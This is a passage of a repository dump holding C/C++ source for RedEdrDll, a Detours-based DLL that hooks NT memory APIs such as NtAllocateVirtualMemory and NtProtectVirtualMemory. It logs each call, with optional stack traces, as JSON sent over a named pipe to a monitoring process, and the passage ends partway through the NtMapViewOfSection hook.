PSYMBOL_INFO Symbol);\n\ntypedef struct _DETOUR_SYM_INFO\n{\n    HANDLE                  hProcess;\n    HMODULE                 hDbgHelp;\n    PF_ImagehlpApiVersionEx pfImagehlpApiVersionEx;\n    PF_SymInitialize        pfSymInitialize;\n    PF_SymSetOptions        pfSymSetOptions;\n    PF_SymGetOptions        pfSymGetOptions;\n    PF_SymLoadModule64      pfSymLoadModule64;\n    PF_SymGetModuleInfo64   pfSymGetModuleInfo64;\n    PF_SymFromName          pfSymFromName;\n} DETOUR_SYM_INFO, *PDETOUR_SYM_INFO;\n\nPDETOUR_SYM_INFO DetourLoadImageHlp(VOID);\n\n#endif // IMAGEAPI\n\n#if defined(_INC_STDIO) && !defined(_CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS)\n#error detours.h must be included before stdio.h (or at least define _CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS earlier)\n#endif\n#define _CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS 1\n\n#ifdef _DEBUG\n\nint Detour_AssertExprWithFunctionName(int reportType, const char* filename, int linenumber, const char* FunctionName, const char* msg);\n\n#define DETOUR_ASSERT_EXPR_WITH_FUNCTION(expr, msg) \\\n    (void) ((expr) || \\\n    (1 != Detour_AssertExprWithFunctionName(_CRT_ASSERT, __FILE__, __LINE__,__FUNCTION__, msg)) || \\\n    (_CrtDbgBreak(), 0))\n\n#define DETOUR_ASSERT(expr) DETOUR_ASSERT_EXPR_WITH_FUNCTION((expr), #expr)\n\n#else// _DEBUG\n#define DETOUR_ASSERT(expr)\n#endif// _DEBUG\n\n#ifndef DETOUR_TRACE\n#if DETOUR_DEBUG\n#define DETOUR_TRACE(x) printf x\n#define DETOUR_BREAK()  __debugbreak()\n#include <stdio.h>\n#include <limits.h>\n#else\n#define DETOUR_TRACE(x)\n#define DETOUR_BREAK()\n#endif\n#endif\n\n#if 1 || defined(DETOURS_IA64)\n\n//\n// IA64 instructions are 41 bits, 3 per bundle, plus 5 bit bundle template => 128 bits per bundle.\n//\n\n#define DETOUR_IA64_INSTRUCTIONS_PER_BUNDLE (3)\n\n#define DETOUR_IA64_TEMPLATE_OFFSET (0)\n#define DETOUR_IA64_TEMPLATE_SIZE   (5)\n\n#define DETOUR_IA64_INSTRUCTION_SIZE (41)\n#define DETOUR_IA64_INSTRUCTION0_OFFSET (DETOUR_IA64_TEMPLATE_SIZE)\n#define DETOUR_IA64_INSTRUCTION1_OFFSET (DETOUR_IA64_TEMPLATE_SIZE + DETOUR_IA64_INSTRUCTION_SIZE)\n#define DETOUR_IA64_INSTRUCTION2_OFFSET (DETOUR_IA64_TEMPLATE_SIZE + DETOUR_IA64_INSTRUCTION_SIZE + DETOUR_IA64_INSTRUCTION_SIZE)\n\nC_ASSERT(DETOUR_IA64_TEMPLATE_SIZE + DETOUR_IA64_INSTRUCTIONS_PER_BUNDLE * DETOUR_IA64_INSTRUCTION_SIZE == 128);\n\n__declspec(align(16)) struct DETOUR_IA64_BUNDLE\n{\n  public:\n    union\n    {\n        BYTE    data[16];\n        UINT64  wide[2];\n    };\n\n    enum {\n        A_UNIT  = 1u,\n        I_UNIT  = 2u,\n        M_UNIT  = 3u,\n        B_UNIT  = 4u,\n        F_UNIT  = 5u,\n        L_UNIT  = 6u,\n        X_UNIT  = 7u,\n    };\n    struct DETOUR_IA64_METADATA\n    {\n        ULONG       nTemplate       : 8;    // Instruction template.\n        ULONG       nUnit0          : 4;    // Unit for slot 0\n        ULONG       nUnit1          : 4;    // Unit for slot 1\n        ULONG       nUnit2          : 4;    // Unit for slot 2\n    };\n\n  protected:\n    static const DETOUR_IA64_METADATA s_rceCopyTable[33];\n\n    UINT RelocateBundle(_Inout_ DETOUR_IA64_BUNDLE* pDst, _Inout_opt_ DETOUR_IA64_BUNDLE* pBundleExtra) const;\n\n    bool RelocateInstruction(_Inout_ DETOUR_IA64_BUNDLE* pDst,\n                             _In_ BYTE slot,\n                             _Inout_opt_ DETOUR_IA64_BUNDLE* pBundleExtra) const;\n\n    // 120 112 104 96 88 80 72 64 56 48 40 32 24 16  8  0\n    //  f.  e.  d. c. b. a. 9. 8. 7. 6. 5. 4. 3. 2. 1. 0.\n\n    //                                      00\n    // f.e. d.c. b.a. 9.8. 7.6. 5.4. 3.2. 1.0.\n    // 0000 0000 0000 0000 0000 0000 0000 001f : Template [4..0]\n    // 0000 0000 0000 0000 0000 03ff ffff ffe0 : Zero [ 41..  5]\n    // 0000 0000 0000 0000 0000 3c00 0000 0000 : Zero [ 45.. 42]\n    // 0000 0000 0007 ffff ffff c000 0000 0000 : One  [ 82.. 46]\n    // 0000 0000 0078 0000 0000 0000 0000 0000 : One  [ 86.. 83]\n    // 0fff ffff ff80 0000 0000 0000 0000 0000 : Two  [123.. 87]\n    // f000 0000 0000 0000 0000 0000 0000 0000 : Two  [127..124]\n    BYTE    GetTemplate() const;\n    // Get 4 bit opcodes.\n    BYTE    GetInst0() const;\n    BYTE    GetInst1() const;\n    BYTE    GetInst2() const;\n    BYTE    GetUnit(BYTE slot) const;\n    BYTE    GetUnit0() const;\n    BYTE    GetUnit1() const;\n    BYTE    GetUnit2() const;\n    // Get 37 bit data.\n    UINT64  GetData0() const;\n    UINT64  GetData1() const;\n    UINT64  GetData2() const;\n\n    // Get/set the full 41 bit instructions.\n    UINT64  GetInstruction(BYTE slot) const;\n    UINT64  GetInstruction0() const;\n    UINT64  GetInstruction1() const;\n    UINT64  GetInstruction2() const;\n    void    SetInstruction(BYTE slot, UINT64 instruction);\n    void    SetInstruction0(UINT64 instruction);\n    void    SetInstruction1(UINT64 instruction);\n    void    SetInstruction2(UINT64 instruction);\n\n    // Get/set bitfields.\n    static UINT64 GetBits(UINT64 Value, UINT64 Offset, UINT64 Count);\n    static UINT64 SetBits(UINT64 Value, UINT64 Offset, UINT64 Count, UINT64 Field);\n\n    // Get specific read-only fields.\n    static UINT64 GetOpcode(UINT64 instruction); // 4bit opcode\n    static UINT64 GetX(UINT64 instruction); // 1bit opcode extension\n    static UINT64 GetX3(UINT64 instruction); // 3bit opcode extension\n    static UINT64 GetX6(UINT64 instruction); // 6bit opcode extension\n\n    // Get/set specific fields.\n    static UINT64 GetImm7a(UINT64 instruction);\n    static UINT64 SetImm7a(UINT64 instruction, UINT64 imm7a);\n    static UINT64 GetImm13c(UINT64 instruction);\n    static UINT64 SetImm13c(UINT64 instruction, UINT64 imm13c);\n    static UINT64 GetSignBit(UINT64 instruction);\n    static UINT64 SetSignBit(UINT64 instruction, UINT64 signBit);\n    static UINT64 GetImm20a(UINT64 instruction);\n    static UINT64 SetImm20a(UINT64 instruction, UINT64 imm20a);\n    static UINT64 GetImm20b(UINT64 instruction);\n    static UINT64 SetImm20b(UINT64 instruction, UINT64 imm20b);\n\n    static UINT64 SignExtend(UINT64 Value, UINT64 Offset);\n\n    BOOL    IsMovlGp() const;\n\n    VOID    SetInst(BYTE Slot, BYTE nInst);\n    VOID    SetInst0(BYTE nInst);\n    VOID    SetInst1(BYTE nInst);\n    VOID    SetInst2(BYTE nInst);\n    VOID    SetData(BYTE Slot, UINT64 nData);\n    VOID    SetData0(UINT64 nData);\n    VOID    SetData1(UINT64 nData);\n    VOID    SetData2(UINT64 nData);\n    BOOL    SetNop(BYTE Slot);\n    BOOL    SetNop0();\n    BOOL    SetNop1();\n    BOOL    SetNop2();\n\n  public:\n    BOOL    IsBrl() const;\n    VOID    SetBrl();\n    VOID    SetBrl(UINT64 target);\n    UINT64  GetBrlTarget() const;\n    VOID    SetBrlTarget(UINT64 target);\n    VOID    SetBrlImm(UINT64 imm);\n    UINT64  GetBrlImm() const;\n\n    UINT64  GetMovlGp() const;\n    VOID    SetMovlGp(UINT64 gp);\n\n    VOID    SetStop();\n\n    UINT    Copy(_Out_ DETOUR_IA64_BUNDLE *pDst, _Inout_opt_ DETOUR_IA64_BUNDLE* pBundleExtra = NULL) const;\n};\n#endif // DETOURS_IA64\n\n#ifdef DETOURS_ARM\n\n#define DETOURS_PFUNC_TO_PBYTE(p)  ((PBYTE)(((ULONG_PTR)(p)) & ~(ULONG_PTR)1))\n#define DETOURS_PBYTE_TO_PFUNC(p)  ((PBYTE)(((ULONG_PTR)(p)) | (ULONG_PTR)1))\n\n#endif // DETOURS_ARM\n\n//////////////////////////////////////////////////////////////////////////////\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif // __cplusplus\n\n#define DETOUR_OFFLINE_LIBRARY(x)                                       \\\nPVOID WINAPI DetourCopyInstruction##x(_In_opt_ PVOID pDst,              \\\n                                      _Inout_opt_ PVOID *ppDstPool,     \\\n                                      _In_ PVOID pSrc,                  \\\n                                      _Out_opt_ PVOID *ppTarget,        \\\n                                      _Out_opt_ LONG *plExtra);         \\\n                                                                        \\\nBOOL WINAPI DetourSetCodeModule##x(_In_ HMODULE hModule,                \\\n                                   _In_ BOOL fLimitReferencesToModule); \\\n\nDETOUR_OFFLINE_LIBRARY(X86)\nDETOUR_OFFLINE_LIBRARY(X64)\nDETOUR_OFFLINE_LIBRARY(ARM)\nDETOUR_OFFLINE_LIBRARY(ARM64)\nDETOUR_OFFLINE_LIBRARY(IA64)\n\n#undef DETOUR_OFFLINE_LIBRARY\n\n//////////////////////////////////////////////////////////////////////////////\n//\n// Helpers for manipulating page protection.\n//\n\n_Success_(return != FALSE)\nBOOL WINAPI DetourVirtualProtectSameExecuteEx(_In_  HANDLE hProcess,\n                                              _In_  PVOID pAddress,\n                                              _In_  SIZE_T nSize,\n                                              _In_  DWORD dwNewProtect,\n                                              _Out_ PDWORD pdwOldProtect);\n\n_Success_(return != FALSE)\nBOOL WINAPI DetourVirtualProtectSameExecute(_In_  PVOID pAddress,\n                                            _In_  SIZE_T nSize,\n                                            _In_  DWORD dwNewProtect,\n                                            _Out_ PDWORD pdwOldProtect);\n\n// Detours must depend only on kernel32.lib, so we cannot use IsEqualGUID\nBOOL WINAPI DetourAreSameGuid(_In_ REFGUID left, _In_ REFGUID right);\n#ifdef __cplusplus\n}\n#endif // __cplusplus\n\n//////////////////////////////////////////////////////////////////////////////\n\n#define MM_ALLOCATION_GRANULARITY 0x10000\n\n//////////////////////////////////////////////////////////////////////////////\n\n#endif // DETOURS_INTERNAL\n#endif // __cplusplus\n\n#endif // _DETOURS_H_\n//\n////////////////////////////////////////////////////////////////  End of File.\n"
  },
  {
    "path": "RedEdrDll/dllhelper.cpp",
    "content": "#include \"dllhelper.h\"\n#include \"../Shared/common.h\"\n#include <dbghelp.h>\n#include <thread>\n#include <mutex>\n\n#include \"piping.h\"\n#include \"logging.h\"\n#include \"process_query.h\"\n\n#pragma comment(lib, \"dbghelp.lib\")\n\n// Runtime config\n// Taken from server on pipe connect\ntypedef struct __Config {\n    BOOL do_stacktrace = true;\n} config;\n\nconfig Config;\n\n// The pipe to RedEdr.exe\n// Read first message as config,\n// then send all the data\nPipeClient pipeClient(\"RedEdrDll Emitter\");\n\ntypedef enum _MEMORY_INFORMATION_CLASS {\n    MemoryBasicInformation\n} MEMORY_INFORMATION_CLASS;\n\n\n//----------------------------------------------------\n// Pipe stuff\n\n// Pipe Init\nvoid InitDllPipe() {\n    if (!pipeClient.Connect(DLL_PIPE_NAME)) {\n        LOG_W(LOG_ERROR, L\"Could not connect to RedEdr.exe at %s\", DLL_PIPE_NAME);\n        return;\n    }\n\n    // Retrieve config (first packet)\n    //   this is the only time we read from this pipe\n    LOG_A(LOG_INFO, \"Waiting for config...\");\n    char buffer[DLL_CONFIG_LEN];\n    if (pipeClient.Receive(buffer, DLL_CONFIG_LEN)) {\n        if (strstr(buffer, \"callstack:1\") != NULL) {\n            Config.do_stacktrace = true;\n            LOG_W(LOG_INFO, L\"Config: Callstack Enabled\");\n        }\n        else {\n            Config.do_stacktrace = false;\n            LOG_W(LOG_INFO, L\"Config: Callstack Disabled\");\n        }\n    }\n}\n\n\n// Pipe send\nvoid SendDllPipe(char* buffer) {\n    pipeClient.Send(buffer);\n}\n\n\n\n/*************** Procinfo stuff ******************/\n\nextern BOOL HooksInitialized;\nBOOL IsSymInitialized = FALSE;\n\nstd::mutex InitSymMtx;\n\nvoid doInitSym(HANDLE hProcess) {\n    // First thread gonna do the shit. \n    // All others gonna wait.\n    std::lock_guard<std::mutex> lock(InitSymMtx);\n    \n    // Dont record all the stuff SymInitialize()\n    // is doing (disable hooking output)\n    HooksInitialized = FALSE;\n\n    SymInitialize(hProcess, NULL, TRUE);\n\n    // Re-enable hooking output\n    HooksInitialized = TRUE;\n}\n\n\nsize_t LogMyStackTrace(char* buf, size_t buf_size) {\n    CONTEXT context;\n    STACKFRAME64 stackFrame;\n    DWORD machineType;\n    HANDLE hProcess = GetCurrentProcess();\n    HANDLE hThread = GetCurrentThread();\n    size_t written = 0;\n\n    if (!IsSymInitialized) {\n        doInitSym(hProcess);\n        IsSymInitialized = TRUE;\n    }\n\n    RtlCaptureContext(&context);\n    ZeroMemory(&stackFrame, sizeof(STACKFRAME64));\n    machineType = IMAGE_FILE_MACHINE_AMD64;\n    stackFrame.AddrPC.Offset = context.Rip;\n    stackFrame.AddrFrame.Offset = context.Rbp;\n    stackFrame.AddrStack.Offset = context.Rsp;\n    stackFrame.AddrPC.Mode = AddrModeFlat;\n    stackFrame.AddrFrame.Mode = AddrModeFlat;\n    stackFrame.AddrStack.Mode = AddrModeFlat;\n\n    // FUUUUU\n    char* begin_str = (char*) \"\\\"callstack\\\":[\";\n    int l = strcat_s(buf, buf_size, begin_str);\n    buf_size -= strlen(begin_str);\n    buf += strlen(begin_str);\n    written += strlen(begin_str);\n\n    MEMORY_BASIC_INFORMATION mbi;\n    int n = 0;\n    SIZE_T returnLength = 0;\n    int didWalk = 0;\n    while (StackWalk64(machineType, hProcess, hThread, &stackFrame, &context,\n        NULL, NULL, NULL, NULL))\n    {\n        DWORD64 address = stackFrame.AddrPC.Offset;\n        size_t w = 0;\n\n        if (n > MAX_CALLSTACK_ENTRIES) {\n            // dont go too deep\n            break;\n        }\n        /*if (buf_size > DATA_BUFFER_SIZE - 2) { // -2 for ending ]\n            // as buf_size is size_t, it will underflow when too much callstack is appended\n            LOG_A(LOG_WARNING, \"StackWalk: Not enough space for whole stack, stopped at %i\", n);\n            break;\n        }*/\n\n        didWalk = 1;\n        ProcessAddrInfoRet processAddrInfoRet = ProcessAddrInfo(hProcess, (PVOID) address);\n        w = sprintf_s(buf, buf_size, \"{\\\"idx\\\":%i,\\\"addr\\\":%llu,\\\"page_addr\\\":%llu,\\\"size\\\":%zu,\\\"state\\\":%lu,\\\"protect\\\":\\\"%s\\\",\\\"type\\\":\\\"%s\\\"},\",\n            n, \n            address, \n            processAddrInfoRet.base_addr,\n            processAddrInfoRet.region_size, \n            processAddrInfoRet.stateStr.c_str(),\n            processAddrInfoRet.protectStr.c_str(),\n            processAddrInfoRet.typeStr.c_str());\n        if (w == 0) {\n            LOG_A(LOG_ERROR, \"Error writing callstack entry, not enough space? %d\", buf_size);\n            break;\n        }\n        buf_size -= w;\n        buf += w;\n        written += w;\n        n += 1;\n    }\n\n    // remove last comma if we added at least one entry\n    if (didWalk) {\n        buf[strlen(buf) - 1] = ']';\n        buf[strlen(buf) - 0] = '\\x00';\n    }\n    else {\n        strcat_s(buf, buf_size, \"]\");\n        written += 1;\n    }\n\n    // We should have space...\n    //l = wcscat_s(buf, buf_size, L\"]\");\n    //written += 1;\n\n    // Cleanup after stack walk\n    //SymCleanup(hProcess);\n\n    return written;\n}\n\n"
  },
  {
    "path": "RedEdrDll/dllhelper.h",
    "content": "#pragma once\n#include <windows.h>\n#include <winternl.h>  // needs to be on bottom?\n// Pipe\nvoid InitDllPipe();\nvoid SendDllPipe(char* buffer);\n\n// Proc\nsize_t LogMyStackTrace(char* buf, size_t buf_size);\n\n// Utils\nvoid Unicodestring2wcharAlloc(const UNICODE_STRING* ustr, wchar_t* dest, size_t destSize);\n\n"
  },
  {
    "path": "RedEdrDll/dllmain.cpp",
    "content": "#include <Windows.h>\n#include \"../Shared/common.h\"\n#include <winternl.h>  // needs to be on bottom?\n\n#include \"dllhelper.h\"\n#include \"logging.h\"\n#include \"detours.h\"\n#include \"utils.h\"\n#include \"process_query.h\" // to init it\n\n// Config\nBOOL skip_self_readprocess = TRUE;\nBOOL skip_rw_r_virtualprotect = FALSE; // TODO\nBOOL skip_nonzero_baseaddr_mapviewofsection = TRUE;\n\n// Data\nBOOL HooksInitialized = FALSE;\n\n\nvoid Unicodestring2wcharAlloc(const UNICODE_STRING* ustr, wchar_t* dest, size_t destSize)\n{\n    if (!ustr || !dest || destSize == 0) {\n        return;  // Invalid arguments or destination size is zero\n    }\n\n    // Ensure that the source UNICODE_STRING is valid\n    if (ustr->Length == 0 || ustr->Buffer == NULL) {\n        dest[0] = L'\\0';  // Set dest to an empty string\n        return;\n    }\n\n    // Get the number of characters to copy (Length is in bytes, so divide by sizeof(WCHAR))\n    size_t numChars = ustr->Length / sizeof(WCHAR);\n\n    // Copy length should be the smaller of the available characters or the destination size minus 1 (for null terminator)\n    size_t copyLength = (numChars < destSize - 1) ? numChars : destSize - 1;\n\n    // Use wcsncpy_s to safely copy the string\n    wcsncpy_s(dest, destSize, ustr->Buffer, copyLength);\n\n    // Ensure the destination string is null-terminated\n    dest[copyLength] = L'\\0';\n}\n\n\n/******************* AllocateVirtualMemory ************************/\n\ntypedef NTSTATUS(NTAPI* t_NtAllocateVirtualMemory)(\n    HANDLE ProcessHandle,\n    PVOID* BaseAddress,\n    ULONG_PTR ZeroBits,\n    PSIZE_T RegionSize,\n    ULONG AllocationType,\n    ULONG Protect\n    );\nt_NtAllocateVirtualMemory Real_NtAllocateVirtualMemory = NULL;\n\nstatic NTSTATUS NTAPI Catch_NtAllocateVirtualMemory(\n    HANDLE ProcessHandle,\n    PVOID* BaseAddress,\n    ULONG_PTR ZeroBits,\n    PSIZE_T RegionSize,\n    ULONG AllocationType,\n    ULONG Protect)\n{\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    if (!HooksInitialized) { // dont log our own hooking\n        return Real_NtAllocateVirtualMemory(ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect);\n    }\n\n    // Request address\n    PVOID addr_req = (BaseAddress != NULL) ? *BaseAddress : NULL;\n    SIZE_T size_req = (RegionSize != NULL) ? *RegionSize : NULL;\n\n    // Execute real function\n    NTSTATUS ret = Real_NtAllocateVirtualMemory(ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect);\n\n    // Real address\n    PVOID addr = (BaseAddress != NULL) ? *BaseAddress : NULL;\n    SIZE_T size = (RegionSize != NULL) ? *RegionSize : NULL;\n\n    int offset = 0;\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtAllocateVirtualMemory\\\",\");\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"handle\\\":%lld,\", (long long)ProcessHandle);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"addr\\\":%llu,\", addr);\n    if (addr_req != NULL && addr_req != addr) {\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"addr_req\\\":%llu,\", addr_req);\n    }\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"zero\\\":%llu,\", ZeroBits);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"size\\\":%llu,\", size);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"size_req\\\":%llu,\", size_req);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"alloc_type\\\":%lu,\", AllocationType);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"protect\\\":\\\"%s\\\",\", getMemoryRegionProtect(Protect));\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"return\\\":%ld\", ret);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n\n    // BROKEN for some reason. Do not attempt to enable it again.\n    //offset += LogMyStackTrace(&buf[offset], DATA_BUFFER_SIZE - offset);\n\n    SendDllPipe(buf);\n\n    return ret;\n}\n\n/******************* FreeVirtualMemory ************************/\n\ntypedef NTSTATUS(NTAPI* t_NtFreeVirtualMemory)(\n    IN HANDLE       ProcessHandle,\n    IN PVOID*       BaseAddress,\n    IN OUT PULONG   RegionSize,\n    IN ULONG        FreeType\n    );\nt_NtFreeVirtualMemory Real_NtFreeVirtualMemory = NULL;\n\nstatic NTSTATUS NTAPI Catch_NtFreeVirtualMemory(\n    IN HANDLE       ProcessHandle,\n    IN PVOID*       BaseAddress,\n    IN OUT PULONG   RegionSize,\n    IN ULONG        FreeType)\n{\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    if (!HooksInitialized) { // dont log our own hooking\n        return Real_NtFreeVirtualMemory(ProcessHandle, BaseAddress, RegionSize, FreeType);\n    }\n\n    // Request address\n    PVOID addr_req = (BaseAddress != NULL) ? *BaseAddress : NULL;\n    ULONG size_req = (RegionSize != NULL) ? *RegionSize : NULL;\n\n    // Execute real function\n    NTSTATUS ret = Real_NtFreeVirtualMemory(ProcessHandle, BaseAddress, RegionSize, FreeType);\n\n    // Real address\n    PVOID addr = (BaseAddress != NULL) ? *BaseAddress : NULL;\n    ULONG size = (RegionSize != NULL) ? *RegionSize : NULL;\n\n    int offset = 0;\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtFreeVirtualMemory\\\",\");\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"handle\\\":%lld,\", (long long)ProcessHandle);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"addr\\\":%llu,\", addr);\n    if (addr_req != NULL && addr_req != addr) {\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"addr_req\\\":%llu,\", addr_req);\n    }\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"size\\\":%llu,\", size);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"size_req\\\":%lu,\", size_req);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"free_type\\\":%lx,\", FreeType);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"return\\\":%ld\", ret);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n\n    SendDllPipe(buf);\n\n    return ret;\n}\n\n\n/******************* ProtectVirtualMemory ************************/\n\ntypedef NTSTATUS(NTAPI* t_NtProtectVirtualMemory)(\n    HANDLE ProcessHandle,\n    PVOID* BaseAddress,\n    PULONG NumberOfBytesToProtect,\n    ULONG NewAccessProtection,\n    PULONG OldAccessProtection\n    );\nt_NtProtectVirtualMemory Real_NtProtectVirtualMemory = NULL;\n\nstatic NTSTATUS NTAPI Catch_NtProtectVirtualMemory(\n    HANDLE ProcessHandle,\n    PVOID* BaseAddress,\n    PULONG NumberOfBytesToProtect,\n    ULONG NewAccessProtection,\n    PULONG OldAccessProtection\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    if (!HooksInitialized) { // dont log our own hooking\n        return Real_NtProtectVirtualMemory(ProcessHandle, BaseAddress, NumberOfBytesToProtect, NewAccessProtection, OldAccessProtection);\n    }\n\n    // Request address\n    PVOID addr_req = (BaseAddress != NULL) ? *BaseAddress : NULL;\n\n    // Exec\n    NTSTATUS ret = Real_NtProtectVirtualMemory(ProcessHandle, BaseAddress, NumberOfBytesToProtect, NewAccessProtection, OldAccessProtection);\n\n    // Real address\n    PVOID addr = (BaseAddress != NULL) ? *BaseAddress : NULL;\n\n    int offset = 0;\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtProtectVirtualMemory\\\",\");\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"handle\\\":%lld,\", (long long)ProcessHandle);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"addr\\\":%llu,\", addr);\n    if (addr_req != NULL && addr_req != addr) {\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"addr_req\\\":%llu,\", addr);\n    }\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"size\\\":%lu,\", *NumberOfBytesToProtect);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"protect\\\":\\\"%s\\\",\", getMemoryRegionProtect(NewAccessProtection));\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"return\\\":%ld,\", ret);\n    offset += LogMyStackTrace(&buf[offset], DATA_BUFFER_SIZE - offset);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n    SendDllPipe(buf);\n    return ret;\n}\n\n\n/******************* MapViewOfSection ************************/\n\ntypedef enum _SECTION_INHERIT {\n    ViewShare = 1,   // Share the section.\n    ViewUnmap = 2    // Unmap the section when the process terminates.\n} SECTION_INHERIT;\n\n// Defines the prototype of the NtMapViewOfSectionFunction\ntypedef NTSTATUS(NTAPI* t_NtMapViewOfSection)(\n    HANDLE          SectionHandle,\n    HANDLE          ProcessHandle,\n    PVOID*          BaseAddress,\n    ULONG_PTR       ZeroBits,\n    SIZE_T          CommitSize,\n    PLARGE_INTEGER  SectionOffset,\n    PSIZE_T         ViewSize,\n    DWORD           InheritDisposition,\n    ULONG           AllocationType,\n    ULONG           Protect\n    );\nt_NtMapViewOfSection Real_NtMapViewOfSection = NULL;\nNTSTATUS NTAPI Catch_NtMapViewOfSection(\n    HANDLE          SectionHandle,\n    HANDLE          ProcessHandle,\n    PVOID*          BaseAddress,\n    ULONG_PTR       ZeroBits,\n    SIZE_T          CommitSize,\n    PLARGE_INTEGER  SectionOffset,\n    PSIZE_T         ViewSize,\n    SECTION_INHERIT InheritDisposition,\n    ULONG           AllocationType,\n    ULONG           Protect\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    if (!HooksInitialized) { // dont log our own hooking\n        return Real_NtMapViewOfSection(SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType, Protect);\n    }\n\n    // Check if pointers are not NULL before dereferencing\n    LONGLONG sectionOffsetValue = (SectionOffset != NULL) ? SectionOffset->QuadPart : 0;\n    SIZE_T viewSizeValue = (ViewSize != NULL) ? *ViewSize : 0;\n    PVOID baseAddressValue = (BaseAddress != NULL) ? *BaseAddress : NULL;\n\n    NTSTATUS ret = Real_NtMapViewOfSection(SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType, Protect);\n\n    int offset = 0;\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtMapViewOfSection\\\",\");\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"section_handle\\\":%lld,\", SectionHandle);\n    offset += 